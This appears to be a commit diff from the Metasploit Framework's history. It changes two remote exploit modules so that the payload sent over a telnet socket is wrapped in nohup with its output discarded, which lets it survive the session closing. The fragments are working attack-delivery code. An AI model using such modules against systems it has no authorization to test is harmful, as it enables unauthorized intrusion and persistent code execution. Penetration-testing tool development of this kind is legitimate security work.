Use nohup to prevent the telnet session close from killing the command
git-svn-id: file:///home/svn/framework3/trunk@8082 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8399ff46b2
commit
b1f79c6342
|
@ -102,10 +102,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sock.get_once
|
||||
sleep(0.25)
|
||||
|
||||
sock.put(payload.encoded + "\n")
|
||||
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
|
||||
|
||||
sleep(0.25)
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sleep(0.25)
|
||||
sock.get_once
|
||||
|
||||
sock.put(payload.encoded + "\n")
|
||||
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
|
||||
|
||||
sleep(0.25)
|
||||
|
||||
|
@ -107,3 +107,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue